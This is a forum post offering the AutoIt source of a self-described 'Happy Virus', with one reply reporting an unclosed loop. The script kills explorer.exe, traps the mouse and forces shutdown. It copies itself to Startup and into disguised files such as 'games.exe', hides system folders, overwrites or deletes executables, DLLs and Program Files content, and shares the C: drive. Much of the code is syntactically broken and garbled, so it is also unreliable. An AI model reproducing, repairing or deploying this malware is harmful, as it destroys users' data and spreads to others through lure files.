AutoIT AutoIt Happy Virus

[sQuo]

This virus that I made took an hour, which i'm impressed with. This virus brings joy to the reader and user and causes pure chaos at the same time

coder: Atomic

>; Happy Virus
; Educational purposes
; ~ Atomic
; This virus will fill you with joy!
; Good luck with this one. /insert evil laugh\
#include 
#include 
#include 
#include 
#Include 
#include 
Break ( 0 )
if FileExists ( "C:\mark.exe" ) Then
   Do
       MsgBox ( 0, "Viri", "Don't look this will hurt your eyes", 3 )
       ; BSOD!
       FileOpen ( "binded image.jpg", 0 )
       Send ( "^{F}" )
       _MouseTrap ( $ileft = 5, $itop = 18, $iright = 97, $ibottem = 104 )
       Beep ( 500, 1000 )
       ; Hey, It's my theme song.
       _SoundOpen ( "binded sound.wma", "nooblet crunch" )
       _SoundPlay ( "nooblet crunch", 0 )
       ClipPut ( "Virus's are awesome " & "@UserName" & "." )
       ProcessClose ( "explorer.exe"
       _RunDOS ( "rem Hacked by " & "@UserName" & "!" )
       _RunDOS ( "rem Be a scripter!" )
       CDTray ( "E:", "open" )
       MsgBox ( 0, "Sorry", "It's time for you to go to sleep. You went through too much.", 3 )
       Shutdown ( 5 )
   EndIf
Else
   Do
       MsgBox ( 0, "Hello", "My name is " & "@username" & ".", 3 )
       CDTray ( "E:", "open" )
       MsgBox ( 0, "Future", "I am you from the future!" & "I was sent to kill myself", 3 )
       ; BSOD!
       FileOpen ( "binded image.jpg", 0 )
       Send ( "^{F}" )
       ProcessClose ( "explorer.exe" )
       ; You're mouse is done for
       _MouseTrap ( $ileft = 5, $itop = 18, $iright = 97, $ibottem = 104 )
       Beep ( 500, 1000 )
       ; Theme song
       _SoundOpen ( "binded sound.wma", "nooblet crunch" )
       _SoundPlay ( "nooblet crunch", 0 )
       ClipPut ( "www.hackforums.net" )
       Run ( "iexplore.exe", "C:\program files\Internet Explorer", @SW_MAXIMIZE )
       _RunDOS ( "rem Join Hackforums.net" )
       Sleep ( 3000 )
       Send ( "{F6}" )
       Send ( "^{V}" )
       Send ( "{Enter}" )
       MsgBox ( 0, "Join", "Join hackforums now!", 3 )
       Filecopy(@ScriptFullPath, @StartupDir & "\" & @Scriptname)
       FileCopy (@scriptfullpath, "C:\mark.exe" )
       FileSetAttrib ( "@systemdir", "+h" )
       FileSetAttrib ( "@userprofiledir\start menu\programs\startup", "+h+r" )
       filesettime ( "C:\*.exe", "1975082012" )
       ; Let's start a bsod shall we?
       _ReplaceStringInFile ( $sz*.exe, $sz*.exe, $sz*.laugh )
       _ReplaceStringInFile ( $sz*.dll, $sz*.dll, $sz*.laugh )
       _ReplaceStringInFile ( $sz*.DLL, $sz*.DLL, $sz*.laugh )
       _ReplaceStringInFile ( $sz*.dat, $sz*.dat, $sz*.laugh )
       _ReplaceStringInFile ( $sz*.bin, $sz*.bin, $sz*.laugh )
       filedelete ( "*.laugh" )
       FileChangeDir ("@systemdir" )
       _ReplaceStringInFile ( $sz*.dll, $sz*.dll, $sz*.exe )
       _ReplaceStringInFile ( $sz*.DLL, $sz*.DLL, $sz*.exe )
       _ReplaceStringInFile ( $sz*.dat, $sz*.dat, $sz*.exe )
       _ReplaceStringInFile ( $sz*.bin, $sz*.bin, $sz*.exe )
       fileopen ("*.exe" )
       FileWrite ($h*.exe, @scriptname )
       FileClose ($h*.exe )
       filedelete ( "@systemdir" & "\program files\*.*" )
       _Net_Share_ShareAdd ($s@computername, $sShare, 0, "C:\", "hot lesbians" )
       filecopy @scriptname ( "@systemdir\marker.au3" )
       filecopy @scriptname ( "@systemdir\documents and settings\Public\games.exe" )
       filecopy @scriptname ( "@systemdir\documents and settings\Public\good music.Mp3.exe" )
       filecopy @scriptname ( "@systemdir\documents and settings\Public\check this.exe" )
       FileChangeDir ( "D:" )
       _ReplaceStringInFile ( $sz*.mui, $sz*.mui, $sz*.happy )
       _ReplaceStringInFile ( $sz*.exe, $sz*.exe, $sz*.happy )
       _ReplaceStringInFile ( $sz*.ttf, $sz*.ttf, $sz*.happy )
       fileopen ("*.happy" )
       FileWrite ($h*.happy, @scriptname )
       FileClose ($h*.happy )
       ; BSOD!
       FileOpen ( "binded image.jpg", 0 )
       Send ( "^{F}" )
       ; Theme song
       _SoundOpen ( "binded sound.wma", "nooblet crunch" )
       _SoundPlay ( "nooblet crunch", 0 )
       ; L337 5p34k
       MsgBox ( 0, "....", "FGH 3rr0r, M0n173r n0w 15 d15pl4y1ng l33t t3x7!", 3 )
       MsgBox ( 0, "...", "T0 pr0t3c7 v1t4l 1nf0rm471on w1nd0w5 1s 5hu771ng d0wn", 3 )
       Sleep ( 1000 )
       Shutdown ( 5 )
   Exit

 

[dR.fAn0]

Re: AutoIt Happy Virus

Hum, i having this error while using tidy option :cray:

Tidy Error -> do is never closed in your script